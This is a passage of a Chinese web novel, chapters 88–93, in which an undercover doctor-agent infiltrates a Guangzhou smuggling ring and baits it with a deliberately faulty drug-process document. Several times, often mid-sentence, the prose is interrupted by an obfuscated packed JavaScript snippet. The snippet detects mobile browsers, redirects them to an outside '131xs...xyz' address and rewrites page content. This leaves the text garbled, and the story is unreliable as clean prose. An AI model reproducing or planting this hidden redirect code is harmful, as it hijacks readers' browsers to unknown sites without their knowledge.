“我错了！我真的错了！我不是人！我是畜生！我每天晚上都梦到他们！他们一个个浑身是血地站在我床边，问我为什么不救他们！” “我该死！我早就该**！求求你，山猫，你给我一枪！你杀了我！让我去给兄弟们赔罪吧！” 这迟到了三十年的忏悔，显得如此可悲又可笑。 他用三十年的钻营，换来了高官厚禄，换来了人人敬畏的地位。可到头来，这一切都敌不过那压在心底三十年的良心债。在真正的英雄面前，他所有的一切，都不过是个笑话。 林长山低头，平静地看着脚下哭得像孩子的叛徒。 他缓缓地，将自己的裤腿从贺卫东手中抽了出来。 然后，他什么也没说。 只是转身，迈开脚步，向着敞开的铁门，一步一步，沉稳地走了出去。 从始至终，他再未回头看贺卫东一眼。 当林长山走出压抑的走廊，重新沐浴在阳光下时，他仿佛听到心中有什么东西“轰”的一声，彻底倒塌了。 那是一座压了他三十年、由无尽的**、痛苦和仇恨构筑的巨石。 如今，石头落地，烟消云散。 …… 三天后。 ****，一间不对外开放的小礼堂。 一场迟到了整整三十年的授勋仪式，正在庄严举行。 没有媒体，没有宾客。台下只有秦振邦老将军、林卫国等寥寥数人。 台上，林长山和另外两位同样白发苍苍、身形佝偻的老人，换上了一身崭新的六五式军装。 那身洗得发白的军装穿在他们身上，比任何华服都更见风骨 。胸前空空如也，却仿佛缀满了无形的勋章。 开国元勋陈岩，在家人的搀扶下，一步步登上台。 那双曾挥斥方遒的手，微微颤抖着，从丝绒托盘里捧起一枚枚金灿灿的“八一勋章”。 他走到林长山面前，望着自己最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200709|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得意的兵，眼中欣慰与愧疚交织。 “山猫，国家终究没忘记你们。” 他亲手将那枚沉甸甸的勋章，郑重地别在林长山胸前。 林长山脊背猛地挺直，抬起右手，敬了一个或许不够标准、却重若千钧的军礼！滚烫的泪，顺着他沟壑纵横的脸颊，悄然滑落。 林卫国静静站在台下。看着父亲仿佛被勋章点亮的、瞬间挺直的脊梁，他心头百味杂陈。 这一刻起，他不再仅仅是安平县的神医，新晋的厂长。 他背靠最坚实的山，也接下了一份无数人渴求却无法撼动的传承。 …… 授勋仪式后，书房茶香袅袅，祖孙二人对坐。 “卫国啊，这次南下，心里有底吗？” “尽力而为。”林卫国应道。 陈老缓缓放下茶杯，轻叹：“周正，是把好刀，刚硬不阿，眼里不揉沙子。 可刀太直太正，有时不光伤敌，也会伤己。这次南下，你虽名为顾问，他却未必会帮你，甚至暗中使绊子、考验你。一切只能靠你自己”他眼中掠过一丝不符年龄的锐利。 “南边那潭水，比京城浑得多，万事小心。必要时候，保全自己是第一要紧事。” 林卫国心头一暖，用力点头：“记下了，陈爷爷。” …… 告别父母和陈老，林卫国再次启程。 目的地：改革开放最前沿——南国广州。 火车站，他拿到了新身份：制作精良的港岛身份证，名字林文峰，身份是远东贸易公司董事长。 王刚此时苦笑着扯领带：“林顾问……哦不，林先生，这身行头，真不如军装自在。” “王大哥，从现在起，你是我的保镖兼司机，”林卫国笑笑，“慢慢就惯了。” “呜——” 南下的列车，载着两人驶向未知与凶险的前方。 林卫国望着窗外飞速**的京城，眼神幽深。 他并不知晓，几小时前，调查组长周正早已带着最精锐的小队，搭乘秘密航班，抵达广州。 一张无形的大网，已在南国湿热的空气中悄然铺开。 而他林卫国，便是那张网中最为关键，也最易迷失的诱饵。 第89章 有去无回 南下的火车撕开湿热的空气，带着北方未散的寒意，闯入了广州。 改革开放的春风刚撬开一丝门缝，外来的新鲜气息便与本地压抑已久的欲望猛烈碰撞，发酵出机遇与混**织的独特味道。这里是冒险家的乐园，投机者的温床。高楼挤着窄巷，锃亮的进口轿车与斑驳的二八大杠擦肩而过。空气里混杂着海鲜的腥甜、廉价香水味，还有金钱暗中流动的、细微却诱人的声响。 林卫国和王刚，两个习惯了北方秩序的男人，踏上这片土地便感到强烈冲击。他们顶着“港商林先生”和助理的新身份，却举目无亲，对盘根错节的地方势力和地下规则一无所知，像水滴汇入大江，瞬间没了踪影。 招待所里，王刚望着窗外喧嚣的街道，眉头紧锁：“先生，现在怎么办？这里比预想的复杂太多。周组长只让我们待命，我们像无头苍蝇。” 林卫国站在窗边，目光沉静地扫视这座生机勃勃又暗流汹涌的城市。 “等不来机会。”他声音平稳，却带着力量，“既然是猛龙，就得过江。得自己把水搅浑，让藏着的鱼，自己浮上来。” 机会来得很快。 第二天，在繁华的上下九街，一声凄厉哭喊撕裂人群： “救命啊！我妈……我妈不行了！” 人群骚动，一个瘦小青年抱着昏倒的中年妇人嚎啕大哭。妇人面色青紫，口吐白沫，身体抽搐，眼看就要不行。 “快送医院！” “怕是羊角风！来不及了！” 围观者议论纷纷，无人敢上前。 王刚正要动，林卫国已分开人群大步上前。 “让我看看。”声音不大，却奇异地让人心安。 青年如抓救命稻草：“先生，求您救救我妈！” 林卫国蹲下，手指迅速探过妇人鼻息颈脉，眼神一凝。 不是癫痫，是急性心梗！这年代，院外发作几乎等于**！ “散开！保持通风！”他沉喝。 王刚立刻扶平妇人。林卫国从怀中掏出牛角针盒，拈出一根细如牛毛的银针，在众人惊疑目光中，看也不看，闪电般刺入妇人心口旁一处穴位！ 快！准！稳！ 紧接着，他并指如刀，沉稳有力地按压妇人胸口几处大穴。 奇迹发生。 妇人喉咙里发出一声长“嗬”，致命的青紫肉眼可见地褪去，呼吸从游丝变得平稳。 前后不过一分钟！ 人群炸开了锅。 “活……活过来了！” “神仙啊！一根针拉回鬼门关！” 青年激动得浑身发抖，扑通跪下就要磕头：“先生！您是我梁仔和我妈的再生父母！这条命，以后就是您的！” 这个自称“梁仔”的地头蛇，正是林卫国需要的眼睛。 招待所里，清醒的梁母千恩万谢。林卫国平静写下调理药方，又递过一百块钱。 “按方抓药，根未除。钱拿着，算定金。” 梁仔愣住：“先生，您这是……” “我需要一个懂规矩、讲义气、消息灵通的本地人，帮我办事。” 梁仔毫不犹豫推回钱，眼神灼灼：“救母之恩，大过天！您有事尽管吩咐，我梁仔皱下眉头天打雷劈！”他压低声音，“这广州城，地上地下，没我梁仔打听不到的消息！” 林卫国要的就是这话。他从皮箱取出一支军用望远镜放桌上。 “放出风声，就说有港商带了批紧俏‘处理军品’，量大，货好，急着出手。” 梁仔效率惊人。 “港商带大批军品找买家”的消息像长了翅膀，一夜飞遍广州地下世界。望远镜、呢子大衣、高帮皮靴……这些足以让人疯狂的紧俏货，引来了无数贪婪目光。 第三天夜，珠江边废弃码头仓库。 “林先生，来的是‘黑豹’的人，心黑手狠，千万小心。”梁仔紧张提醒。 林卫国点头，示意王刚提着两个沉重帆布包，走进昏暗仓库。 刀疤脸、金链子的壮汉大马金刀坐在破木箱上，身后十几个手持钢管**的马仔凶光毕露。 “你就是林先生？”黑豹上下打量，满眼轻蔑，“货呢？” 林卫国示意，王刚将包扔在地上。 “打开。” 拉链拉开，崭新军绿望远镜露了出来。 “东西不错。”黑豹咧嘴一笑，露出贪婪，他起身拍手。 “哗啦——” 仓库四周又涌出十几个持械混混，死死堵住大门！黑吃黑！ “林先生，谢了。”黑豹晃着**狞笑，“货留下，人也留下。兄弟们正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200710|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺几个扫厕所的。” 王刚眼神一寒，军人杀气勃发，就要上前。 “王刚，退下。”林卫国忽然开口。 王刚一怔，服从后退。 “哦？想单挑？”黑豹仿佛听见天大笑话，捧腹，“兄弟们！让他见识见识广州规矩！” 混混们狞笑着，挥舞凶器一拥而上！ 暗处面包车里，周正和队员通过夜视镜紧盯着仓库。 “组长！他们要动手！王刚一个人顶不住！”年轻队员急道。 周正眉头紧锁，正要下令介入—— 镜中景象让他和队员猛地倒抽冷气！ 被包围的林卫国非但不退，反而赤手空拳迎了上去！动作毫无花哨，简单，直接，狠辣到极致！ 侧身让过呼啸钢管，手肘闪电上击！ “咔嚓！” 骨裂脆响！第一个混混哼都没哼就软倒。 一招制敌！ 他如虎入羊群，狭小空间内闪转腾挪。每一次出手，必伴骨裂声与敌人惨嚎倒地。 踢膝碎关节！ 冲拳锁膻中！ 手刀断腕卸兵器！ 他像一台精密高效的机器，招招致命。 几分钟后，仓库里只剩林卫国和震惊的王刚还站着。黑豹和二十多个手下全在地上翻滚哀嚎，断手断脚。 林卫国捡起**，走到面无人色的黑豹面前，用刀面轻拍他的脸。 “现在，能好好谈谈规矩了？” “林先生”一战成名！ 消息如台风过境，一夜席卷广州地下世界！所有人都知道，来了条真正的“猛龙”！觊觎者瞬间偃旗息鼓。 面包车里，年轻队员声音发颤：“组…组长，他…他到底是什么人？比特种兵王还恐怖！” 周正沉默，眼神复杂地看着那个平静走出仓库的身影。这把刀，比他预想的更锋利，也更难掌控。 第二天傍晚，梁仔神色匆匆找到林卫国，递上一张烫金请柬。 “先生，‘水鬼’那边来人了。”他声音紧张，“一个叫‘花蛇’的女人，请您今晚午夜，珠江画舫赴宴。” 梁仔喉结滚动，艰难补充： “道上的兄弟说…那艘画舫，是广州有名的‘断头台’。” “有去，无回。” 第90章 就地控制！ 夜色如墨。 岸边阴影里，梁仔声音发颤：“先生，真……真要一个人去？”他指着江心的画舫，压低嗓门，“道上兄弟都叫它‘珠江泪’，也叫‘断头台’！这些年，只见人上去，不见人下来！” 王刚没说话，但紧握的拳头和绷紧的下颌，暴露了他同样的紧张。 林卫国拍拍梁仔肩膀，神色依旧平静。 “放心，只是赴个宴。”他整理了一下真丝衬衫，语气寻常得像去买菜，“你们在外围接应。记住，没我信号，谁也不准动。” 说完，不再理会二人，独自走向渡口。一艘戴斗笠船夫的舢板静候着。林卫国一言不发踏上，小船如鬼魅般悄无声息地划破水面，驶向灯火通明的“断头台”。 …… 画舫之上，恍若隔世。 厚厚的地毯铺满甲板，衣着暴露的女孩托着酒盘，在衣着光鲜的男女间穿梭。 林卫国却敏锐捕捉到，这奢靡之下暗流汹涌。 “林先生，老板等您多时了。”一名穿黑色旗袍的女人，扭着腰肢迎上来，脸上堆着职业笑容。 林卫国颔首，随她穿过喧闹的甲板，来到画舫三楼最奢华的包厢。 一个约莫三十、穿大红高开衩旗袍的女人斜倚在铺着虎皮的太师椅上，指尖夹着根细长的女士烟。一张让男人疯狂的妖艳脸蛋，眼角天生上挑含媚，可那双丹凤眼里，却闪动着毒蛇般的冰冷狠戾。 她就是“花蛇”，这条南方走私网的广州掌舵人。 “林先生，年轻有为，闻名不如见面呐。”花蛇并未起身，懒懒吐了个烟圈，嗓音娇媚入骨，带着审视。 “花蛇小姐过奖。”林卫国仿佛没看见那审视，自顾在对面的椅子坐下，给自己倒了杯酒。 “听说林先生在北边，是贺老板跟前的红人？”花蛇似随意问道。 林卫国晃了晃酒杯：“贺老板抬爱。出门在外，不过是替老板跑腿，混口饭吃。” “跑腿？”花蛇娇笑起来，胸脯轻颤，“能让贺老板把‘手表’都交出来的人，可不简单。道上的规矩，‘手表’在谁手里，谁就是老板的代言人。林先生，谦虚过头啦。”她用的是黑话试探。“手表”，指的就是贺军手腕那块作为“活体中继站”的瑞士表，是整个网络的最高信物。 林卫国心如明镜，不动声色，一饮而尽。 “花蛇小姐爽快，我也不兜圈子。”他放下杯，直视对方，“我来广州，两件事。一，替老板取货；二，接人。‘水鬼’那边，何时能搭上线？” 他直接抛出了走私网真正首脑的代号——“水鬼”。这代号是贺卫东最后审讯才吐露的核心机密。 果然，“水鬼”二字出口，花蛇媚眼中闪过一丝极快的讶异。 她笑容更盛，亲自为林卫国满上酒：“林先生别急。货和人，跑不了。不过，南北两边‘盘口’几十年不走动，总得对对口风，免得大水冲了龙王庙，您说是不是？” 接下来半小时，花蛇不断用刁钻晦涩的黑话、暗语试探。从交货方式、资金流转，到货品产地产状，问题一个比一个歹毒。 但林卫国凭着从贺卫东那里榨出的情报，加上缜密心思，对答如流，甚至能抛出一些连花蛇都觉陌生的、三十年前“**湖”用的切口。 几个回合下来，花蛇眼中的审视，渐渐变成了惊疑。这年轻人不仅对组织运作门清，那份沉稳老练，更是远超年龄。 这时，林卫国的目光，仿佛不经意地落在了花蛇身后一个沉默寡言、面色阴沉的中年男人身上。这人是花蛇的心腹，外号“哑叔”。 看着他，林卫国忽然开口：“这位兄弟，最近是不是总觉胸闷气短，阴雨天手指关节隐隐作痛？” 正襟危坐的哑叔猛一哆嗦，骇然抬头：“你……你怎么知道？！” 花蛇脸色骤变，警惕盯着林卫国：“林先生还懂医术？” “略懂皮**。”林卫国端起杯，语气平淡，“看这位兄弟印堂发暗，指甲泛紫，是典型的慢性汞**症状。若没猜错，他常年接触一种……从西德走私过来的红色粉末状化工染料吧？”他顿了顿，补充道：“那东西闻着香，毒性极烈。长期接触，毒素会慢慢侵蚀肾脏，最终要命。” 轰！ 这话如同一颗**，在花蛇和哑叔心中炸开！哑叔负责的正是化工原料线！那种红色、带香味的德国染料，利润最高也最隐秘！此事，只有核心几人知晓！ 眼前这个“林先生”，竟只看几眼，就将病症和走私货分毫不差地联系起来！ 这哪是懂医？简直是神仙手段！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200711|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 花蛇看着林卫国深不见底的眼睛，心底第一次涌起彻骨的寒意。她所有的怀疑和试探，在这一刻显得如此可笑。她彻底相信了，眼前这男人，绝对是和贺卫东一个层级、背景通天、手段莫测的大人物！是真正的“自己人”！ “都下去！”花蛇挥手屏退众人，包括哑叔。 奢华包厢里只剩两人。 “林先生，是我眼拙了。”花蛇起身，姿态放得极低，亲自倒酒，“‘生命一号’的货和名单，我定帮您到手。” “条件？”林卫国单刀直入。 花蛇脸上掠过一丝苦笑：“货和名单，都不在我手。在我上家，‘水鬼’先生那里。要见他，得交一件东西做‘投名状’。” “什么东西？” 花蛇盯着林卫国的眼睛，一字一顿：“这投名状，不是钱。” “是一份……安平县‘卫国制药厂’，最新‘通脉丹’的内部核心工艺流程图。” “‘水鬼’先生有言，三天之内，只要您拿到这份图，他亲自来广州，和您面谈。” …… 与此同时，珠江岸边，一辆不起眼的面包车内。 周正戴着耳机，面色铁青。画舫上的对话，清晰地传回。 “通脉丹工艺流程图”——听到这几个字，他眼中寒芒一闪！ 好阴毒的死局！ 卫国制药厂是重点单位，“通脉丹”是上报中央的绝密项目！林卫国若能拿到图，证明他在大陆的渗透力和能量骇人听闻！ 若拿不到，他就是冒牌货，必死无疑！ 周正拿起对讲机，冰冷的声音不容置疑： “王刚，命令！” “从现在起，二十四小时，给我盯死林卫国，看他怎么接招！” “如果……他有任何泄露**的举动……” “就地控制！” 画舫之上，林卫国端着酒杯，面色平静如常，仿佛那致命的条件只是微风拂过。 只是，杯中的酒液，在他稳若磐石的手里，荡开了一丝几乎看不见的微澜。 他深知，此刻已深陷敌我双重的猜忌与绝境。 一步踏错，便是万劫不复。 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第91章 阳谋 画舫内灯光摇曳。林卫国端着酒杯，面色平静如水。花蛇索要“通脉丹”工艺流程图的歹毒条件，如同无声惊雷在他心底炸开，但他脸上波澜不惊。 这是最后一次试探，也是致命的一招。答应或拒绝，皆是死路。 短暂沉默后，林卫国放下酒杯，脸上恰到好处地浮现出贪婪与为难交织的复杂神情。 “花蛇小姐，”他声音里压着兴奋和迟疑，“你开玩笑吧？安平县的卫国制药厂，国家重点扶持的香饽饽。里面的东西，没那么好拿。” 他身体微倾，像极了看到宝藏又畏首畏尾的投机商人。“这流程图价值连城。可要是失手，我在大陆。。。怕是连逃的机会都没有。” 见他这副“要钱不要命又怕死”的嘴脸，花蛇心底最后一丝疑虑消散大半。贪婪的人最好对付，能用钱控制。反而是那些无欲无求、深不见底的家伙才可怕。 “林先生是聪明人，风险和收益，自然成正比。”花蛇娇笑，重新点上烟，红唇轻启，“事成之后，‘水鬼’先生除了‘生命一号’和名单，还有一笔港岛买下半条街的酬劳。” 林卫国眼中贪婪更盛，搓着手，像在激烈挣扎。“酬劳是好。。。可风险太大了。”他咂咂嘴，话锋一转，“我得请示香港老板。去安平县打点上下关系，哪样不要钱？花蛇小姐，总得先拿点‘诚意金’出来，我才好办事吧？” “诚意金？”花蛇丹凤眼微眯。 “当然！”林卫国理直气壮，“这么大生意，能空手套白狼？没钱，安平县干部的门都摸不到。万一我钱花了，关系找了，你们变卦，我找谁？” 这番话市侩、无赖，却完美契合走私商人的逻辑。 花蛇笑得花枝乱颤。“好！林先生爽快！”她猛地拍手朝门外喊道，“阿哑，把我的‘见面礼’拿来！” 哑叔推门，提着一个沉甸甸的黑色皮箱。打开箱子，一捆捆油纸包裹的崭新大团结，在昏暗光线下散发着油墨香。 “五万块。”花蛇指着箱子，“订金。事成后，还有二十万。” 她补充道：“林先生这几日在广州的安全，我手下兄弟负责。您有需求，尽管开口。静候佳音。” 这“保护”，实则是全天候监视。林卫国却恍若未觉，狂喜地合上箱子，紧紧抱在怀里。“花蛇小姐大气！放心，三天之内，东西一定到手！” …… 凌晨两点，广州调查组安全屋。气氛凝重如暴风雨前夜。 周正坐在桌后，脸色铁青，手指一下下敲着桌面。王刚站在一旁，神情焦灼。 林卫国提着皮箱进门。周正霍然起身，一掌拍在桌上！ “林卫国同志！”他厉声质问，“谁允许你擅自向犯罪分子要好处？你知不知道这算什么？严重违纪！组织的纪律当儿戏吗？” 王刚赶紧上前：“卫国，这事你确实冲动了。这钱，必须上缴。” 林卫国随手将皮箱扔在地上，拉过椅子坐下，迎向周正冒火的目光，嘴角噙着若有若无的冷笑。 “周组长，请搞清楚我的身份。” “我现在是港商林文峰，一个唯利是图、胆大包天的走私商人。不是什么国家干部林卫国。” 他指了指地上的箱子反问：“一个商人，干掉脑袋的大买卖，要订金和活动经费，难道不正常？” “还是说，”林卫国声音骤冷，“周组长希望我穿着中山装，顶着干部身份，两袖清风去跟那条**不吐骨头的毒蛇，谈几个亿的生意？你觉得，她会信？” “你……”周正被噎得说不出话，脸涨成猪肝色。 林卫国不给他喘息：“现在，我需要组织提供一份‘假的’通脉丹工艺流程图。这是完成任务的唯一办法。” “不行！”周正再次拍桌怒吼，“纪律就是纪律！国安字典里，没有‘伪造文件’这四个字！这是原则！底线！” 他死死盯着林卫国：“林卫国，别挑战组织的原则！” “好一个原则，好一个底线。” 林卫国缓缓起身，冷笑化为彻底嘲讽。他望着这个固执到愚蠢的组长，摇了摇头。 “既然组织不肯帮忙……” “那我，就只能用自己的办法了。” 说完，他不再看周正，径直走向角落那台老旧电报机，熟练开机，戴上耳机。 “你要干什么？！”周正脸色剧变，厉喝。 “发电报。”林卫国头也不回，手指已在电键上飞速敲击。 “你敢！”周正气得浑身发抖，就要冲上去阻止。脚步刚迈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200712|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，却又硬生生顿住。 他不能阻止。林卫国是对的，他是任务唯一的突破口。阻止他，等于宣告行动失败！这责任，他担不起！ 被一个“不可控因素”牵着鼻子，自己却无能为力。这种前所未有的憋屈和愤怒，让掌控欲极强的周正几乎发狂！ 他只能眼睁睁看着林卫国，将一封内容未知的电报，逐字发出。 “王刚！”周正转头，对同样焦灼的王刚下了死命令，“派人监听，一字不落！他若敢在电报里泄露半点‘通脉丹’的真实信息……” “你知道后果！” …… 同一时间，千里外，安平县卫国制药厂。厂长办公室深夜亮灯。 苏晚夏和厂长赵胜利，对着一份刚收到的加急电报，眉头紧锁。 “这……什么意思？”赵胜利看着没头没尾的电文，一头雾水。“关于我厂一批计划出口西德的药品，因对方技术标准变更，需紧急补充一份符合西德TüV认证标准的生产工艺流程概述，请技术部尽快拟稿，三日内发回。” 他挠头：“我们有药品出口德国？什么TüV认证？我怎么不知道？” 苏晚夏没说话，聪慧的目光死死锁定电文上的关键词： “符合西德TüV认证标准”，是要一份标准极高、数据详实、无可挑剔的“外壳”！ “流程概述”，则说明不涉及核心机密，只需要专业的外表！ 连起来就是——卫国需要一份由汉斯亲手制作、足以以假乱真的“假文件”！ 想通此节，苏晚夏的心却直往下沉。这任务近乎不可能。那个刻板的德国人汉斯，让他帮忙**？与虎谋皮！一旦察觉，暴露事小，还会捅破天。 怎么办？ 她焦急踱步，目光扫过墙上“抓质量，促进步”的红色锦旗，又望向窗外：汉斯正拿着手电，在新建车间门口检查卫生，吹毛求疵。 一个大胆冒险的计划，在她脑海悄然成型。 苏晚夏嘴角，悄然勾起一抹自信的弧度。 不能让汉斯帮忙**。 她要让这个高傲的德国人，心甘情愿地亲手打造这份“假文件”。还要让这变成一次推动全厂技术进步的“阳谋”！ 第92章 立刻动手逮人！ 安平县，卫国制药厂车间。 那台德国进口的胶囊填充机，庞大的银灰色机身立在车间一角，泛着冷光。 德国工程师汉斯紧锁眉头，绕着机器踱步。 苏晚夏抱着一叠生产记录快步走进来，没看汉斯，径直找到正指导工人的老厂长王建民。 “王厂长，‘通脉丹’试制的温控记录，这几处波动我不太明白，您给看看？” 王建民伸手去接。 旁边的汉斯却像被扎了似的，猛地冲过来！他一把抢过记录，只扫了一眼，那张脸瞬间因暴怒而扭曲： “上帝！这也叫生产记录？！”他带着浓重口音的普通话尖锐刺耳，“一团糟！毫无规范！温度、湿度、时间全混在一起！这不是记录，是涂鸦！废纸！”眼前的混乱，让他这个强迫症几乎窒息。 王建民的脸“腾”地涨成酱紫色，一把将记录夺回：“废纸？汉斯先生！就靠这‘废纸’，我们做出了合格的药！我们条件是不好，可还轮不到你在这儿说三道四！” “条件差就能糊弄？”汉斯寸步不让，手指扫过旁边的工人，声色俱厉，“是你们的思想问题！生产必须标准化！流程化！数据化！像这样手工作坊，迟早完蛋！” “你！”王建民气得手发抖，“站着说话不腰疼！我们的难处你知道吗？弄这些设备费了多大劲你知道吗？不懂就别瞎指挥！” 车间里的技术员和老师傅们呼啦一下围拢过来，站到王建民身边： “老王说得对！管用的法子就是好法子！” “有本事让这洋人自己试试！” “没他，咱这摊子照样转！” 空气骤然绷紧。 被众人围在中间，前所未有的**感涌上汉斯心头。这群在他看来“顽固不化”的中国人，简直是在践踏他的专业尊严！他必须证明自己，证明他带来的“先进理念”才是唯一的出路！ 眼看冲突就要升级。 苏晚夏适时地站了出来。她轻轻扯了下王建民的衣袖，低声劝道：“厂长，消消气，汉斯先生也是着急厂里的事，都是为了工作嘛。” 随即转向余怒未消的汉斯，语气诚恳带着歉意：“汉斯先生，真对不住。您的心意我们明白，厂里底子薄，工人们的习惯也得一步步改，实在是够不上您的高标准。” 她真诚温和的态度，像滴水浇在了烧红的烙铁上，让汉斯胸口的怒火稍稍平息。 见汉斯脸色缓和了些，苏晚夏目光一闪，像是突然想到什么： “汉斯先生，也许光说没用……”她的话头恰到好处地停住，引人入胜。 她眨了眨慧黠的眼睛，“不如您亲自给我们做一份‘通脉丹’的工艺流程样本？让我们这些‘土包子’开开眼，见识见识真正的德国标准？” 这提议让汉斯心中一动。 没等他答话，一边的王建民心领神会，故意用极度不屑的腔调，甩出激将法： “让他做？”王建民冷笑，“他看得懂咱们的实验数据？中药的君臣佐使、阴阳调和，他一个洋鬼子懂个屁！别到时画虎不成反类犬，闹出天大的笑话！” “笑话？！”汉斯怒极反笑，狠狠一拍胸膛，指着王建民鼻子立下战书，“好！你们等着！我今天，就要让你们这群落后的中国人，好好见识什么是真正的工业文明！” 他猛地转向苏晚夏：“把‘通脉丹’所有的实验数据都给我！我亲自写一份‘教科书级’的工艺流程图！让你们看清差距有多大！” …… 王建民故作“不情不愿”，从档案室搬出了一大堆早已被林卫国优化淘汰、包含大量错误冗余的早期实验数据。 汉斯如获至宝。 整整两天两夜，他将自己锁在办公室，爆发了一个德国工程师惊人的严谨和执着。 英文打字机的“哒哒”声响彻不停，T型尺和绘图笔在图纸上精准游走。 他将那些混乱的中文数据重新整理、分析，以最规范的格式、最严谨的逻辑，一丝不苟地绘制出一份堪称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200713|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺术品的“工艺流程图”。 文件精美、图文并茂，甚至贴心地附上了德中双语标注。每个步骤，每个数据，清晰明了，无可挑剔。 表面看，它完美得足以让任何外行惊叹。 然而，内核却是一条由错误、淘汰的数据堆砌的绝路——足以让任何模仿者粉身碎骨。 两天后，这份由汉斯亲笔签名的“技术草案”被盖上鲜红的“内部培训资料，请勿外传”印章，通过钱国栋县长安排的军方绝密渠道，火速发往千里之外的广州。 …… 广州，老茶楼的窗边。 林卫国独自坐着，慢悠悠地啜着茶。 一个寻常茶客模样的男人，默不作声地靠近桌边，放下个牛皮纸文件袋，转身就走，一句话也没有。 林卫国顿了一下，看了一眼那个匆匆而去的身影，也没有说话。 他随即拿起文件袋，刚拆开封线。 此刻，茶楼外的监听车里，王刚耳机里猛地炸响组长周正冰冷的声音：“他拿到了！” “王刚！目标确认！他只要拿着东西走出这个门，立刻动手逮人！” 王刚的心瞬间提到了嗓子眼！ 茶楼里的林卫国，却像毫无察觉。他甚至没瞥一眼街对面那辆盯了许久、架着望远镜的面包车。 他只随意一瞥，将那份足以定生死的“工艺流程图”，如同对待一张废纸般，随手撂在了桌面上。 随后，他拈起茶杯，目光扫过窗外喧闹的街市，精准地落在街角一个擦鞋摊——那正是“花蛇”的眼线。 林卫国嘴角若有似无地弯了一下，朝那个方向，干脆利落地打了个“搞定”的手势。 做完这一切，他收回视线，再不关心窗外。 他提起茶壶，给自己面前小小的紫砂杯续了道滚烫的茶水。浅浅呷一口，那醇厚的香气熨帖地钻入肺腑。 像一个将最后陷阱布置妥当的猎人，他端着茶，安静地等待着，等他的猎物一步踏进网中。 第93章 蛇已归巢 广州老茶楼，雅座。 林卫国神态悠闲，端起细瓷茶杯抿了一口，氤氲的茶香中，仿佛无事发生。但这份悠闲背后，是三根绷紧的弦。 街对面，擦鞋摊后的眼线，透过报纸缝隙的镜片，死死钉住他。更远些的面包车里，调查组长周正攥紧拳头，指节发白，身旁的王刚手背沁出薄汗，车里弥漫着无声的焦灼。 敌我双方，都在等他踏出茶楼那刻。 一个穿灰褂的精瘦男人无声走上二楼，径直来到林卫国桌前，皮鞋踏在老旧地板上的声音被茶楼的喧闹吞没。他嗓音沙哑：“林先生，老板派我来取东西。”话落，手已迅捷地伸向桌上的文件袋。 林卫国却笑着抬手，轻轻将文件袋按了回去，动作从容得像是在拂去桌上的浮尘，然后慢条斯理地收进身边的皮包。 “回去告诉花蛇小姐。”他语气平淡，却带着不容反驳的强势，“东西，在我这。但安平县那边，天罗地网，风险太大。” 他看着来人，嘴角勾起一抹精明的笑。 “文件可以给，价钱得重谈。我要见能拍板的，当面聊。” 精瘦男人僵住了，显然没料到。 “林先生，这不合规矩……” “现在，规矩由我定。”林卫国打断他，呷了口茶，“告诉花蛇，我只等一天。一天见不到能做主的人，这生意作废，我回香港。别忘了，大陆能弄到好东西的，可不只你们一家。” …… 面包车内，**器传来的声音让周正瞬间脸色铁青。 “混账！他想干什么？！”周正低吼，“玩火！这是要脱离计划吗？” 王刚急切插话：“组长，卫国他……是不是有自己的打算？” 